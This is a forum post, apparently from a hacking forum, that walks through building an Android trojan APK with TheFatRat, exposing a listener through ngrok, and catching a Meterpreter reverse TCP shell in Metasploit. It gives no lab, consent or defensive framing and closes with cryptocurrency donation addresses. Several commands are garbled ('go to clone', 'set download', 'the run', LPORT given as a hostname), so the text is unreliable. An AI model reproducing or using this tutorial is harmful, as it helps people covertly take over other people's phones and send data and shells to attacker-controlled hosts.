

Forum:[Hack Forums](#)

Thread: [Infiltrating Android Devices With TheFatRat](#)

c4usader - July 3, 2022, 2:43 pm

Now Let's First Open the Terminal and Get Root Permission.

water

We Have Our Root Permission. Now Let's Open the Port.

`./ngrok tcp XXXX (Port)`

You Can Type the Desired Port Where X Is. I Wrote 4444.
Then Let's Wait And Open Our Port.

Creating a Trojan With TheFatRat

We Need to Install Our Tool Called TheFatRat,
First, Let's Open A New Terminal And Go To The Directory We Want To Install.

go to clone <https://github.com/Screetsec/TheFatRat>

And Now We Need to Set Up Its Setup.
For This Purpose, Let's First Enter the TheFatRat Directory.

`cd TheFatRat`

And we got into the Directory. Now We Can Start the Installation.

`bash setup.sh`

Then Enter and start the Installation. Now We Can Move On to Creating the Trojan.

`fatrat`
Let's Wait and Start the Application.

Our Application has been Opened.

Now We Will Proceed Further by Selecting the Number.
First, We Select(Type) the Number '1', Since We Will Create A Normal Trojan, And Then We Add It.

Now We Will Choose Which System to Infiltrate,
Because We're Gonna Hack into Android.apk So we Choose '3'.

Then You Can Get Port Information From Us Etc. The Request Section is Coming.
Now We'll Fill It Up, Respectively.

LHOST= 0.tcp.ngrok.io (Because we opened it from Ngrok, you can also make your own ip for android on the same network if you want.)

LPORT= 0.tcp.ngrok.io The 5-digit number after the article

output files= the name of the trojan that will be created

Here Comes the Download Selection Section.
Let's Mark and Enter 3.

Now That We Have Created the Trojan, It Will Give Us the Location Where the Trojan Is Located.
If the Trojan Creation Section Is Over Now, Let's Listen to It Now.

Listening to the Trojan with Metasploit

Now Let's Open A New Terminal And Start The Metasploit.

msfconsole

Then Let's Wait, And Metasploit Opens, And We Will Enter The Necessary Codes.

use exploit/multi/handler

set download android/meterpreter/reverse_tcp

set LHOST 0.tcp.ngrok.io

set LPORT XXXX(I had Made 4444)

the run

Then We Start Listening to the Trojan.
And the process ends.

I'm a student, if anyone wants to help;

BTC: bc1quzmmzvmke5rhvqns19a5t2mcxykhwcx8fz96yu

LTC: ltc1qm5tjvzc0af3xyf9u43zrzpd7c6kzhlk6xfdtxr

USDT (Erc 20): 0xC4eABEc8CCb1db4db76A2CA716B03D0ae7b8d929